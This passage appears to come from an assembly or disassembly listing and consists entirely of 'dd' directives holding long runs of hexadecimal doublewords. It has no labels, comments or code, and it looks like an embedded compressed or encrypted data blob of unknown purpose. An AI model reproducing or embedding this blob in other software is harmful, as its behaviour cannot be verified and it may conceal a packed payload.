9101BD3Dh, 570B5EFFh, 0A6D0318Eh, 4903B4B5h dd 8FD5B776h, 3DD23802h, 82EDCF67h, 80066310h, 0A845921Ch dd 5BB10087h, 94A3A0Eh, 8A00DA93h, 0E44BC718h, 2F1F06h dd 78AFED96h, 4487E5DDh, 6C16F500h, 38DFDE37h, 362300A9h dd 6966BF2Fh, 0CD0E27B2h, 0E0D5D44Eh, 0CF139C55h, 0D173078Ah dd 0A1E220h, 0EFB2050Dh, 0FA537700h, 87911763h, 7E6E05B5h dd 83CCB3B6h, 0E68057A3h, 0B8187426h, 8A305A64h, 0BAEB00AEh dd 4A0B79F6h, 3F3C22ECh, 246E006Ch, 0D3DFBFCh, 5591FAAh dd 0A631004Dh, 52B9C266h, 0F111E600h, 8F69C004h, 5BF80591h dd 14C0539h, 7827D18Ch, 0C1DDD038h, 0D3513528h, 9C884C98h dd 0D20F771h, 8EB8187Ah, 33A218D5h, 8DD33B00h, 0C45B04Ch dd 0CAD62E36h, 1817023Eh, 5E3E887h, 661D3900h, 4DAAB680h dd 98C30C49h, 0D78003DEh, 54A35819h, 0A4FBF868h, 569E8B00h dd 0B601A2CDh, 30731B8Fh, 90785491h, 5912F418h, 530DAAF0h dd 0D4E1F839h, 7E4CE6E0h, 4A701C2h, 90FCB82Fh, 0E5742446h dd 284FC90Eh, 331A8756h, 73BA65C1h, 3B799BF7h, 2CC0E5E1h dd 0CE44EF00h, 7AE012C6h, 4E5B008Dh, 0A22A5E85h, 70907FE2h dd 0AE01DB0Eh, 0A19118F4h, 0A05E008Dh, 0A70320ECh, 4F00D599h dd 0B8DF83C3h, 0FED7B5h, 86C0CDDDh, 2FD2648Fh, 44106200h dd 0C9EBD502h, 0F92D0049h, 67F57BDDh, 0AB0F47B8h, 0E7045BF4h dd 0CAD3D9ACh, 0B32FC070h, 0F1A30B69h, 0B3014455h, 0DC98F461h dd 6B0019E3h, 0C74166DEh, 319AB62Eh, 0D928F74Bh, 0D8830050h dd 891200E3h, 3978B704h, 45009C1Ah, 4C24EE26h, 3D2D3132h dd 3583F777h, 4109848Ah, 1EBD90A0h, 0AB7C4900h, 0C89176B1h dd 5CE7E23Fh, 6B03A621h, 9C87856Fh, 947BA3B0h, 3795FE00h dd 9B407AE4h, 0F05879DAh, 8D1F000Dh, 2515858Ch, 0D690D181h dd 0EEBE8200h, 0F64EE810h, 0D275875h, 0F3D09B2Dh, 2000676h dd 711DA230h, 383F7F50h, 648790FDh, 0C0FC5DDCh, 8E7D7040h dd 0E6E14402h, 8F33C79Bh, 440FFA0h, 4D5FA499h, 70C20017h dd 0F3A24916h, 0C5392032h, 0C6930029h, 6F91522Ch, 18A0009Ah dd 2392BB41h, 8B50FF3Ch, 9F00D4DAh, 0C144B7C0h, 60096D68h dd 0ACC1096h, 7B00F76Eh, 5FD8ADB1h, 0B0BDB5C8h, 2FD10108h dd 100CF8FEh, 63B7C060h, 20F3F00h, 0BF3D6F3Eh, 741907E9h dd 801CA420h, 5AF2BCE4h, 0CCDB4C16h, 43475600h, 0DD2EC3h dd 5BB0F506h, 75AD1F27h, 0ABA52600h, 5A9188BFh, 1D17E62h dd 571DBE55h, 0DC6813D0h, 83007928h, 815F2C7Fh, 2E71DE8Bh dd 0B8F1AFh, 0EA28A0CAh, 47FD2083h, 0D22C00D8h, 4100267Bh dd 6AB2DE42h, 73CB4B61h, 5C1A3A63h, 9A700C84h, 5603EBB1h dd 80B222D2h, 4C48BE3h, 62490B87h, 6A009079h, 2C015835h dd 8B9E5605h, 22EC0975h, 0BF9804h, 0F4F97B4Bh, 1EFCEF18h dd 0ED00EBFAh, 2CB5A5F0h, 30A243h, 338948DEh, 1451EF6Eh dd 644AD00h, 0FBE6A901h, 3EE209F6h, 8580DD4Eh, 63337E1Bh dd 7FC4FF00h, 0E044256h dd 0B7C1EC8h, 574440B8h, 0E137BFC9h, 97FFD9C0h, 0C0910572h dd 0B619DEB1h, 31011529h, 146224CAh, 24212E9Ah, 0FC95C0CEh dd 0A840F30Ch, 0C19860h, 4F9B06C0h, 69F0D592h, 8013783Fh dd 8FED6779h, 0FC2BBEh, 4A212456h, 0AD9EB120h, 4145F603h dd 8039AB98h, 0FC8F670Fh, 71D3F0CFh, 2BE10018h, 4C7DC892h dd 6E0041CEh, 4B817B61h, 0F830BFD7h, 79E0CDh, 0AA649ABEh dd 0FA64117h, 0C3C2216h, 26D800EEh, 0BFB68167h, 80288713h dd 582F2400h, 89F5B0h, 2771485Dh, 2004BCA1h, 9E73E600h dd 56762DC4h, 800917Eh, 2700B75Eh, 0F7EAF150h, 17A901C2h dd 0F5C1EC38h, 0CA16E432h, 0B42D5600h, 1FBC9970h, 3F9F0093h dd 7B199040h, 0DC0FCFDAh, 408616C9h, 0AA3BB765h, 41F7180Dh dd 421398A4h, 2E0035E4h, 3EAF012Fh, 0B2A0DCh, 2B464D65h dd 0ADD71948h, 0CE278800h, 7FDE0BC7h, 745400D0h, 0C64614D9h dd 1900BEE8h, 8EA9B375h, 7F2252h, 0D132569h, 6D8BAFA1h dd 5C88EB00h, 3B567AD1h, 76F70020h, 90FF6007h, 7300B308h dd 0F579D5Fh, 63CA37h, 2C6605FAh, 0FE445929h, 0E038E06Fh dd 9E01284Dh, 0E9C8F164h, 94D5027Ah, 6B5C66D7h, 0D8B6B482h dd 0C0D0A641h, 32702E11h, 24E70C0Ch, 0FD09E0h, 0D3529553h dd 2D93318Ch, 74DEEE00h, 13A77C6Fh, 8E920B62h, 1F874930h dd 4ABA1068h, 9000B61Bh, 0E8945ADCh, 4B26F3h, 48BFDB0Ch dd 9B8B5CBBh, 0F875901h, 6CC85883h, 0CCCCFE71h, 0FEFF857h dd 0F71E2BC5h, 25F29260h, 690037C8h, 82AE40BBh, 3B7916h dd 0D68D9D7Eh, 7CF791DCh, 6900217Ah, 66C4E663h, 9B1301h dd 19A618C6h, 0CC50792Dh, 7282A402h, 0C03C1B3Bh, 0A974D2h dd 0CADC4DFEh, 0E235DD1h, 30206B61h, 0A0209F42h, 0AFF40715h dd 1017B040h, 589AB862h, 0D53F3A00h, 77F1DB81h, 0C9040931h dd 805F7A18h, 1B5D2153h, 79A8EAB4h, 8260041h, 77E06EFAh dd 0CE1D784Bh, 0D8641D2Bh, 6431C613h, 9700708Eh, 751DFFD5h dd 7402B59Ah, 0F51FB901h, 0F3AD94C0h, 55DF9316h, 80CADD0Eh dd 0C0C9E34Dh, 11CB60A2h, 6C043EF3h, 9A841B00h, 21E927E0h dd 8E6007Ch, 884989ECh, 8D3011C5h, 53EA349Eh, 18E3049Bh dd 0C0BAAB2Ch, 0CF898CF3h, 244151C0h, 1F6BC231h, 0CFDA176Eh dd 3B09E61Fh, 6F778822h, 0D402842h, 420012F8h, 57942981h dd 7FCE4AEEh, 0A52B00CCh, 0A94B44BCh, 60079B24h, 908315B0h dd 0B7BD6590h, 0C2F300BAh, 1A78C5D1h, 2503E4DFh, 83A9E253h dd 0F4610322h, 0B0FA51E0h, 80001076h, 20D413FBh, 4CB60F7Dh dd 0D60084C0h, 0A101770h, 2F7860FEh, 40055800h, 0E92AB5F3h dd 0E48F0084h, 395F7579h, 1A0E4C7Bh, 0FD50F45Bh, 4F2E6940h dd 1E951BBh, 85759FD8h, 0F853AC68h, 5E309C2Dh, 0C1CB5071h dd 5699C270h, 84E8328Ch, 9E006136h, 50D03C60h, 16BF8h dd 7B9C0EC8h, 0F7307A9Dh, 0B474C1C3h, 4D01F05Ch, 0EA4705A5h dd 4EB5A945h, 6B0BBD2Ch, 8D628880h, 9A071BCFh, 8936A6A7h dd 0FA1A0E43h, 0C09D8034h, 0A48613h, 0D3C61057h, 303CB3B4h dd 48364B00h, 464A05CBh, 0DFE35C1Ah, 6C4E1C0Fh, 0A00E83A0h dd 0F5E624D2h, 9C4C6B00h, 0BDF931A3h, 2EE400F2h, 0EC36BFA8h dd 14003CADh, 0E1ED5466h, 0E49D6713h, 0B7070115h, 0BE48DC68h dd 32B030EBh, 0ABAFCD0Fh, 0B31521CCh, 0C02ED996h, 940FAC10h dd 0F1BC7112h, 9AC50C80h, 66403060h, 3BD854F1h, 0F69DB600h dd 0A6E5F74Bh, 678DE84Eh, 10A2205Fh, 8FE3443Bh, 1C184C03h dd 0E0E876F2h, 0A0D149B3h, 600190E2h, 0CDCB50B1h, 88E6AE31h dd 2EFC021Fh, 81FB9639h, 5AEE3440h, 0BAA731h, 9BF36FF6h dd 0F92712F2h, 49B44B02h, 807FE220h, 83D767E6h, 51F402A5h dd 720D2548h, 61FB4848h, 0DBCAA900h, 0E066A17Bh, 609774EBh dd 64A5216Eh, 1600D0A9h, 0D21433D8h, 86FA7Ch, 21A08E39h dd 6254DEE0h, 5B316560h, 64EE9AFh, 1FAE415Ch, 5546D9B4h dd 0ED31CA05h, 48EC84D3h, 9580D26Ch, 0D74C3058h, 0D06C0355h dd 6AA02D76h, 0EDF0F3FBh, 65036BCFh, 11519915h, 4F790033h dd 7DA83012h, 5D0E4689h, 8C4741B6h, 30A21A1h, 290F300Bh dd 6D9B894Ah, 207AAA98h, 0BE77D100h, 0FB4BC49h, 80AD001Ah dd 7F6F4E94h, 29F0090Bh, 61E9FE00h, 0CA274C1Bh, 82ED0028h dd 0C197A102h, 0C300E62Eh, 0BCFE99DCh, 450A92h, 0A75D41C5h dd 0E6BA7F8Dh, 8072843Dh, 0EE748213h, 48188EFh, 3FA863C9h dd 1B2380B3h, 34004509h, 781CAE86h, 0E57D94h, 0A44FA7C7h dd 5E764C4Dh, 521DD01h, 4602839Eh, 5B350F0h, 544B4807h dd 52A580EBh, 65004508h, 0E651725Ah, 336CD3E7h, 1508D044h dd 470E6900h, 484E216Fh, 0A16E0195h, 379DFD93h, 58B90Dh dd 32022A66h, 0DA4FA95Eh, 860D990h, 2E30A849h, 5628111Eh dd 0D28C0125h, 958FBAC4h, 6090C0A2h, 85201D60h, 1E525CDh dd 0F6B5B36Bh, 0FCAAFB15h, 2A013654h, 5F47BA76h, 0C6FC07B1h dd 0C5C0C0FEh, 9C637F31h, 4CB72901h, 41F3D261h, 0C50007D1h dd 0DA0636D4h, 1E50FC01h, 77BE668h, 750D56C7h, 99BDC3FBh dd 0D65D03E0h, 6411D00h, 45FF10F5h, 54520AA4h, 60980729h dd 0DF5B7258h, 91C55721h, 879C0116h, 4C24BF58h, 60BD01F4h dd 0D841803h, 8F056B12h, 5789985h, 97A475C0h, 48DE051Ch dd 403284C0h, 9E08DBE8h, 0FCEADCEDh, 1A1D3Bh, 0EE133FABh dd 4785Dh, 8DF3FAA3h, 2454F663h, 1F6D3A1Dh, 381CA400h dd 1CB1996Fh, 80B583EAh, 4D13A1BBh, 45803ACh, 523E8Fh dd 193BEBC9h, 0A92D84h, 60343025h, 0FE1D0ECEh, 0EF9B7C00h dd 0CF83855Bh, 937049h, 0EE758946h, 0B64E48FAh, 0A09FD303h dd 0D80327C5h, 1CD4020h, 0A2CEC8D0h, 0D8BFA45Ch, 601DD48h dd 0ACB36972h, 8160E826h, 0F101033Dh, 2C52C3FAh, 2A4F8FE0h dd 136D5913h, 3F1F1B01h, 94C8648Ah, 60931284h, 1DEE01A9h dd 80F9E93Ah, 7707AC18h, 0F8E6485h, 0FAEB4D9Bh, 0BDD51660h dd 6D76C210h, 13097E00h, 0F77D34E6h, 0A7DE00A0h, 0D8537FF0h dd 930CFA0Bh, 0D0659075h, 0B9610033h, 0D96D9988h, 0BE00A496h dd 1C533932h, 789C6EF0h, 9EF10045h, 0FA5CCE2Bh, 763718F7h dd 78B04196h, 3DB3B6h, 0E679444Ah, 0D3252CA0h, 98FD2D3Bh dd 0E3B8F85Dh, 50703C1Ah, 5C67618Fh, 905591A7h, 0B5F14CB3h dd 59668607h, 95C03541h, 3ED0673Bh, 633052AFh, 0DD201819h dd 8939C400h, 540C8743h, 0C62B0032h, 0B32F8628h, 0BE019CB8h dd 0D5C88A6Dh, 3887AA26h, 4042071Bh, 0BF463263h, 0EBB9B300h dd 0DDA9976h, 616260FBh, 0E022F3E6h, 9F676300h, 78F5B9BEh dd 81B800DFh, 0E8F16CFAh, 4B012990h, 24B7EB71h, 1FFC64D0h dd 33550069h, 0FB74E731h, 7E3D4093h, 45D70060h, 6CE4EC8Ch dd 0F2D500F3h, 0AD51B7E8h, 0A00DC85h, 2B7BD1F0h, 393D76EEh dd 94066828h, 0A546CB4h, 784C3B00h, 837BF223h, 7C1E0607h dd 0D11BE23Eh, 8E00C7F2h, 90208915h, 74173ADh, 6A2E8B19h dd 0D7A5213Fh, 42B9D405h, 449FC200h, 3B06298Ah, 8E8D00EAh dd 54948275h, 0AD008BB1h, 86ED8CD1h, 0DD2473h, 532C4513h dd 6B9366F4h, 683CDC00h, 409B975Eh, 3CC909Dh, 7F3B160h dd 0C4A1B243h, 0B020837Eh, 0D1789C7Ah, 2BD02C13h, 4707CC7h dd 98E4A8BCh, 280EB3Bh, 3CAE81h, 5A119C4Ah, 0DCB5C342h dd 0C6C18F00h, 407471C9h dd 58E433F6h, 0B5E8F778h, 2E77BF48h, 55B740C5h, 20B0DD1Ch dd 7BC04DCh, 0B19E8C40h, 612B53AEh, 23B9781h, 3E880B4h dd 1042F12h, 751996D8h, 6083DF55h, 0EE017B05h, 0C33CABDDh dd 3880EACAh, 0BEF2024Fh, 860DC9D3h, 0A8870DEEh, 713BE981h dd 80BF6FB4h, 49FE1E20h, 0AC34631h, 93A58758h, 483B8098h dd 53962F78h, 3CE34D00h, 3D4A1BA7h, 20876076h, 0D3312026h dd 0EAC4E206h, 3A69FF93h, 0C5302C2Bh, 665B4E60h, 0E00651C7h dd 6E0710E0h, 456D3A1Eh, 7CDA4103h, 0EDE8D74Dh, 1000B983h dd 0F6AC6BEFh, 127172E3h, 5F30B1h, 0BF44A9DCh, 0B6001820h dd 87CF7F6Dh, 8D97F2h, 0FA51F9ACh, 9EC9CE79h, 0D9785901h dd 9B1DE3CBh, 0B9FF2080h, 16544E01h, 133E5DFEh, 1D100098h dd 4D885852h, 0BD9F1F81h, 0B790806Fh, 0BF2904F9h, 380F03Eh dd 0EFF47AF7h, 664FE0B6h, 3E1903AFh, 7F8BE9A1h, 78006078h dd 57119F30h, 1D47C417h, 0CC3BFFFh, 53209BE7h, 9EC53Fh dd 807A70CCh, 6138D9D2h, 0E2AC8848h, 0A64980D3h, 21C1CD47h dd 2F00009h, 9CF8E979h, 3839F83h, 67F9DA30h, 0C9005EB8h dd 0C9450B8Ch, 182C0740h, 80D2F82h, 20C31477h, 8844B06Ch dd 150872h, 43999306h, 42F1F463h, 1ABB1600h, 0ABAFF72Ah dd 0C0EE732Fh, 3645AD68h, 34071B89h, 0A4227EA7h, 31094AEh dd 0E5356D83h, 489C8860h, 3D90A0EAh, 0DC7214A1h, 0C9908C8Ch dd 2F570E0Ah, 962EC28Ch, 2495C600h, 123400BDh, 5B8D7EA1h dd 4418D83Bh, 5F51B797h, 0B8D3A19Ch, 5C54CC40h, 309A0337h dd 63C7F1B1h, 38B017B3h, 390096BCh, 8D3B058Ah, 784B85AEh dd 329C0021h, 0D7FC4C3h, 0C0013E0h, 55BFC5F0h, 406F9Ah dd 0E2E36422h, 4774C4D0h, 5857DA0Eh, 49E7609Ch, 12E46C7Dh dd 0CDB96F1h, 3038E092h, 5A7B3Ah, 9BDEF36Eh, 15FC2D9h dd 993C1F97h, 0E0B34F66h, 700C1D5h, 0DB081DBEh, 65EBD6h dd 623AEAF6h, 16D09F35h, 0E0B53600h, 0E67331B1h, 5999C0BFh dd 389B15A4h, 3B5541Ch, 0FF526040h, 938E2Ah, 0DAEA879Eh dd 831905F0h, 0D5337A00h, 63BAE781h, 0F854009Bh, 29B47B06h dd 1E00CD8Ch, 1D093FC0h, 77D5571h, 139A866Eh, 0A4FAF048h dd 1A01198Fh, 1B81E28Ah, 2DC0C201h, 2AED03AEh, 51C7F8F1h dd 7A10C498h, 0E870E900h, 0FFD035A9h, 0D70C005Fh, 0A8D4497Eh dd 9E07178Fh, 0EB193BFh, 0EFE325C7h, 3B579001h, 0EB020059h dd 2FDC07D0h, 550B039Eh, 807DFB5Dh, 7F382A2Fh, 18A0015h dd 0F379B3C8h, 111F8662h, 1FEDC08h, 4E2C729Fh, 0C7E010E8h dd 0A9E73C22h, 0C8E05680h, 0A7E20306h, 0E478D0C0h, 1DD4C29h dd 6BF0048Bh, 0D4DEC0ABh, 8C019E9Ah, 0A206D796h, 0C4DCD03Ah dd 77030063h, 0F3A79DDAh, 170089E9h, 9CA851A9h, 0C1A4F8h dd 1B388154h, 4B93D4EEh, 7AA5C600h, 7C3C2618h, 2012001Ch dd 375A44F9h, 0C300FEA3h, 0B2B1CF66h, 1193F67h, 56D2F341h dd 0D3D3A497h, 200064ABh, 622DF0FFh, 1969AF5h, 0F290020Ch dd 0EC238D44h, 0B800BFADh, 649E7117h, 0F0CA455h, 52B7B37Bh dd 82C7EF00h, 7C0E4896h, 0D87F0ABAh, 0CFB1EB08h, 0CBC0AD20h dd 9A3580A5h, 7B51E100h, 6A2A06C2h, 531D0079h, 7EDDED4Ah dd 2319801Bh, 0CF708932h, 710A4180h, 44FCB9D9h, 3695C53Eh dd 218820A6h, 0CE807FDBh, 14489D82h, 220B4222h, 859800E6h dd 0C775A7CBh, 0AE010E6Eh, 592D9458h, 0D4E96B45h, 0C1B04FD4h dd 0F2123F68h, 0B0D70891h, 0C75D3C78h, 73658000h, 25A84E71h dd 0EE69C803h, 0D06F9660h, 2093AEh, 0C7061C08h, 684BF8CEh dd 1179DEEAh, 70B36300h, 0DDC2AAB1h, 0E2A0091h, 0ABBD1E77h dd 0BA03785Fh, 0D66D7908h, 4EFBA012h, 6CD00E6h, 0B030AE56h dd 5E0348C4h, 0E3E01DB2h, 40D5E00Bh, 45D80006h, 30445DABh dd 0F301018Eh, 1B7449C3h, 0DF45E1Ah, 79DD003Ah, 9856A945h dd 900196Ah, 48E8CC86h, 73D2102h, 8B901855h, 1129E675h dd 773F12FAh, 0D55E0123h, 0CD80AE05h, 6FC6D0h, 88151856h dd 0EAF3F17Bh, 9177E701h, 46EB46Dh, 0E83E7080h, 0D30D4094h dd 76FCE550h, 0E1BE563Eh, 0CA08F7B0h, 3B1C4982h, 8D4002C2h dd 0B40FB6B8h, 80EF8381h, 0C39F9692h, 0BAC60040h, 88528D8Bh dd 6B3F22EEh, 4A260093h, 0BBE35F01h, 824500BFh, 0BCDD6EFDh dd 27017176h, 83D46964h, 0C9E494E4h, 0AAE83Eh, 0F0BD54C3h dd 0A1B8729Dh, 238C3D0Eh, 0E5EBC044h, 757B5E52h, 5CFF0074h dd 9F4A8F80h, 8002104h, 9B0998DFh, 743927Bh, 83BD3AB4h dd 7D148348h, 699E29D0h, 0B760FA79h, 6FD9DC3Ah, 1FB60082h dd 470A8C13h, 94FC6ACCh, 7A68A800h, 4A04FAD1h, 8FCF30DAh dd 96E4A021h, 8E384138h, 0C11A6B49h, 42DAFB91h, 13F5824h dd 159C6FD8h, 4A7CCC5Bh, 0B144DF30h, 1F40CAFDh, 579FF5DDh dd 0E7F35906h, 41DF13h, 0D4F1890Bh, 581840F7h, 0EFA2D506h dd 7021906Fh, 0C6F099h, 37B140F1h, 0EC69F2BCh, 915ACE00h dd 0F89A2974h, 9D1DFFEh, 1460AF87h, 7A1D01CFh, 230DEA9Bh dd 56F8208Ah, 0E3D8007Dh, 42188057h, 0E800A8AEh, 4DE4E6B3h dd 3C750FCDh, 13006A7Ch, 22AB27A1h, 870EEA16h, 4E7F7B7Eh dd 55B9E051h, 38D3218Ah, 50001943h, 64240F3Ah, 76002729h dd 0E79FBBE0h, 0B895CAh, 0CC0E21C0h, 317BC18Fh, 7445E20Fh dd 644AA0DBh, 78848Ch, 0B969057Fh, 2326FF33h, 6DCDB300h dd 5A6055D5h, 1EBE004Fh, 37FA62FCh, 0C9718C26h, 0B4D8AD00h dd 156588CDh, 85E814h, 8363A27Bh, 0DF19121Eh, 26380E00h dd 6DFA2CC9h, 0EDAC07D0h, 20570455h, 8D0C9C4Bh, 0CE94F200h dd 0AA23DE83h, 2D7600EFh, 903618F1h, 5D066387h, 0B60CB5EAh dd 14383EC8h, 19FD7B80h, 4F13F855h, 0A79F4C00h, 1A8D6D3h dd 1DB7E05Bh, 0C156F28Ch, 6EBD2CE7h, 295AE080h, 2F7B400h dd 0DD3C1615h, 392F0089h, 373A1A6Dh, 7C00B555h, 2099A17Eh dd 3EF0AC94h, 5F80AABEh, 19713E52h, 25008284h, 0FBB6221Ah dd 58FDC0h, 0DB6BE93Ah, 0DE7050B7h, 18D19F30h, 0D88974h dd 5FBB153Ch, 9EC36A27h, 87174200h, 983440E6h, 78E70344h dd 0FE9D7435h, 2436213Eh, 0C90327E6h, 0D0E44879h, 3B238AE2h dd 0F7009F6Bh, 3F1404CEh, 11C253A3h, 80B1913Eh, 75A4A6B3h dd 89D70C23h, 9821A070h, 9BBA8700h, 0DF7DD156h, 47D7006Ah dd 11DCCA1h, 0AE70D8C1h, 139F8D00h, 229ECEFDh, 0ABB50019h dd 0CFD50E28h, 8CE259Bh, 532018B3h, 0BCBE003Bh, 0C1669A2Ch dd 0D972ACF2h, 0BB4CB119h, 0D189151h, 43A7B804h, 9832CF2Eh dd 0BE2DF720h, 9D0B012Ch, 37EED63Dh, 1493E00Eh, 0C00041FAh dd 4FF3E56Ah, 7832DD51h, 6D4607B7h, 4037B8C6h, 0D5AD3C10h dd 0A83D0803h, 80A67990h, 6BEB1Fh, 2F5A895Dh, 6597EC64h dd 0BEF25300h, 106C04E0h, 397282h, 44FDD393h, 408D97EAh dd 5916F200h, 5A170425h, 7F107AD0h, 53931C71h, 78F9C083h dd 15CC7DDBh, 4EBA6200h, 5A2571D6h, 0A2B800FDh, 0F61C16DCh dd 0F019860h, 81725779h, 8060A0D2h, 0FF94001Bh, 2811F0D3h dd 9338E9C5h, 0A46E011Fh, 5EEC09DCh, 0F06457ECh, 0B76600A1h dd 0D360C031h, 23004D93h, 72FD1E3h, 84561Eh, 0A7179825h dd 0F029AB0Eh, 0BE88BD00h, 22128AC9h, 0A5400ECh, 69CD9ACEh dd 82069FF9h, 4E941B2h, 6CCF00D0h, 90F7F239h, 5B0E84A2h dd 80FE3F58h, 930DD242h dd 1BE3865h, 0BF08B780h, 0DEF5E8E0h, 256D3D01h, 0A2F24F96h dd 6759A850h, 0D0C260D7h, 0F7858A20h, 0EC00DC7Ch, 0D27E4A3Bh dd 0D3E0B5h, 71E7A9B4h, 168215EEh, 5DBEEC00h, 0FAC7921Bh dd 2259014h, 0D8FFDE0Dh, 4E435366h, 5BF00FB3h, 113BE725h dd 6EBA80D9h, 0A2CA4379h, 76E5072Ah, 90A4BE5Dh, 0D3091489h dd 8B4C4604h, 0D9804428h, 0F81525DAh, 18A40047h, 83263CDFh dd 0E0095354h, 8FEE76Bh, 0F1039392h, 0AB7708FCh, 25F898DDh dd 6A450283h, 470160D9h, 0B6989E63h, 200F6D51h, 2196032Fh dd 2AAD54B4h, 8083F961h, 68D10247h, 0A26127B8h, 0A62C931Eh dd 59E806C0h, 529429h, 0B9EDB3DDh, 68079782h, 470CBA07h dd 0F7100E7Eh, 0FE2D2E48h, 28B6078Ch, 0D0FEBC5Eh, 0E92C9BD4h dd 0D5A73C00h, 0D319CD2Bh, 0D8E42Ah, 332FC7FFh, 8947033Dh dd 41944314h, 180A0788h, 0BCA04CCEh, 3541A8Ah, 8877A280h dd 0BB83B493h, 0EDB42960h, 77FDAC82h, 0FFE600C3h, 547274CCh dd 43773E59h, 73BC7503h, 0F0531ED9h, 0B098F130h, 680F006Ah dd 7B255E94h, 0DB00AD03h, 46D90BB1h, 3ACBA3EDh, 218CE68Dh dd 123077EAh, 758A9B12h, 46CB00EEh, 0DB3B6333h, 0C3E75600h dd 0DCBB80Ah, 8ED21DDAh, 0BDFD00F0h, 0E40F174Eh, 0ACB358h dd 92FDF01h, 6CEE94h, 5B7160EBh, 19E608CBh, 0F0785A00h dd 706340DCh, 1CEA0B11h, 7D0C81CDh, 77003B19h, 0E74E9EB7h dd 818ECFA5h, 0CA6D6030h, 0B39BFD06h, 0E18ABD3h, 0B58A294Ch dd 0C05936A7h, 89DCDB61h, 0AFADFC0Fh, 0C417E069h, 67A0EB2h dd 80216B50h, 6D71105Ah, 1EE21C05h, 940075AEh, 0ED0C9DF5h dd 1FC9F0E3h, 2476266Ah, 6E500B9Fh, 53DB6100h, 9D00B684h dd 15ECA413h, 48B2F0h, 44662CA8h, 713582E5h, 0D8C2750Bh dd 0CDD000DFh, 5CE97h, 6A8DA00Eh, 44101C52h, 9A372400h dd 45131AD1h, 0F40AE8D2h, 0FD2F70B0h, 0A331E8h, 4B23BF5Ch dd 0F0CF969Ah, 9404F700h, 0C727E9E7h, 0F278B7h, 669756C5h dd 52320A03h, 0E9138801h, 245FFCD1h, 0DF5520h, 7276C51Eh dd 0A9E4378Ah, 23C34100h, 0CE99F2E2h, 8F871FEBh, 582E007Dh dd 2C721B69h, 0F2C27B00h, 0A96CC3Ah, 49D20044h, 0F1632DB5h dd 1BEC5C81h, 2470C600h, 0E7986D4Bh, 0D20F0338h, 2237AF3Bh dd 139ADAFBh, 80E97641h, 95521608h, 0C09A49CEh, 0D5F52110h dd 0CE22F0Bh, 2DC30305h, 841F043Ah, 0B8E086C0h, 6030B4CCh dd 1041419Eh, 87079CA4h, 6D4AB332h, 0EB1B7A00h, 49200D1h dd 35FD9A4Fh, 40F60D6Bh, 2ACEC91Ch, 68126F83h, 574CB04Dh dd 132302C2h, 36986BA6h, 0D8D2482h, 7145EF00h, 0E5B203ACh dd 0E001A455h, 0B39C300Ch, 0A88ECh, 85FFDCB9h, 0E8D0EAF5h dd 0C2603300h, 0CE17D553h, 7E73C1h, 519907B4h, 44258031h dd 0A3133Ch, 71664761h, 30217940h, 0F5905192h, 6854E18Bh dd 1924BB8Ch, 0F89F08CBh, 47990900h, 5A4857h, 0D2DE964Ah dd 0F7A983Dh, 0D4E49128h, 39014D7Ch, 0C7498AF5h, 25E04512h dd 5E6000BEh, 1A584402h, 34727779h, 0EDF2E107h, 0E3E01BB7h dd 3994B25h, 2E0ADB0Fh, 8FF8D0F4h, 0A801FF0Bh, 7FB4CB1Fh dd 0F3D94A25h, 1AA43F0h, 4D099D72h, 9DCE4148h, 185496A9h dd 0B0940094h, 175C6884h, 0B0DCABD0h, 0F637919Fh, 773A0397h dd 39FB86E3h, 7D0730A8h, 2AB3F9C0h, 24B9FC8Eh, 1C489B3Ah dd 2C8D4023h, 0A7FFCA4Fh, 0CDD13B0Fh, 0BF90E0DDh, 7D88D301h dd 27AB0002h, 5F954D13h, 0DB015933h, 0BB74814Ch, 0A6D08392h dd 172B88Bh, 311C3D82h, 0D0B6DE20h, 3500DC6Ch, 0E1566B78h dd 39C76C0h, 0D3AC6391h, 19D36F2Eh, 0CA035CD0h, 1C5AEA13h dd 256C2600h, 94F6F8h, 9C2F0189h, 0AEC9BCD7h, 0A44AF400h dd 0A616A94Fh, 0D639028Fh, 3C7549E7h, 0A7B28281h, 9872D8C2h dd 0DB501600h, 7CFB6305h, 6920072Ah, 10BB4743h, 97A88136h dd 42854A00h, 0D3B8347Fh, 40CE384Bh, 0D4B22300h, 47086992h dd 607EF000h, 0CE71093Eh, 0F4DA0022h, 6FC48975h, 0EB0044EAh dd 7B69398Ah, 1F04D3h, 2F576D78h, 0FB07362Bh, 9EAF2000h dd 19324BA5h, 0D8E404A7h, 0C19B01D9h, 0E08D1E0Eh, 0E50750D3h dd 4D38807Eh, 0E4F6FDE0h, 0CAEB0E60h, 0C414D492h, 4099700h dd 0C6239C47h, 1D2C2100h, 2D6E10B0h, 5C9B14E0h, 3700F09Dh dd 283BC8F7h, 58000320h, 88E43573h, 32A219h, 39826D68h dd 11A7A1E1h, 44005EEAh, 3B2DC462h, 78E5C1B6h, 70877F34h dd 74C0082h, 0D60BA288h, 54017013h, 5FEDA537h, 3B60B0C8h dd 0BE600057h, 72DC8F6Fh, 3E068BB3h, 27F789BCh, 233701B8h dd 6D2B303Fh, 9CE2F89Ah, 3C764BEAh, 0DF019074h, 8DA8A939h dd 420D8B2h, 0F44F90E1h, 0A52300D1h, 287EFBDh, 0F8C017C0h dd 0F3D332B9h, 5D48C7D4h, 0D7243081h, 0AA001A66h, 6E89481Dh dd 0A2C75830h, 0EA6288h, 0E58BB0FBh, 3FF0647h, 40E382D4h dd 0E4A97C02h, 0FE940898h, 3FFA0029h, 3E58A83Dh, 890BD600h dd 5AC4D16Dh, 0D08A0901h, 88007931h, 28A294CEh, 0E678CF00h dd 52127ABDh, 196C0053h, 0E9777B0Dh, 8D000C42h, 0F85AB8EAh dd 0F6061798h, 102B0780h, 804BD5A3h, 26DAB21Eh, 50300F02h dd 0E0C08734h, 9EF484h, 0A571FC8h, 0EFBC2B6Eh, 214AD700h dd 27ECA6CBh, 0CA8E0A0Fh, 9C87C39h, 8280BF87h, 7E01FBB4h dd 0C7003BEAh, 0DED414B8h, 0FAF144B1h, 98432EFEh, 3E4500AEh dd 70A13B82h, 1E65E900h, 0F7302ADFh, 1BE700D0h, 3E89AD69h dd 0D60007F3h, 0BF851AE4h, 3CA8AB4h, 718C04BDh, 3BE0F58Eh dd 0C0000681h, 6F3F7927h, 7C098Bh, 8A437488h, 753E0E86h dd 4439C000h, 63C9CEAh, 834C054Ah, 0C9A123h, 0FBDCF6C4h dd 0BB544966h, 0BA4820DCh, 30007EF0h, 0EF3E4EF5h, 3E106BF0h dd 0D9805926h, 71680D07h, 9D0058CDh, 801D2E20h, 2B3903h dd 5BFD31ECh, 8399049Eh, 0D268D609h, 8240B8Dh, 16818C76h dd 5D84FC6Ch, 7E8D9E8h, 0A84EB179h, 2974A032h, 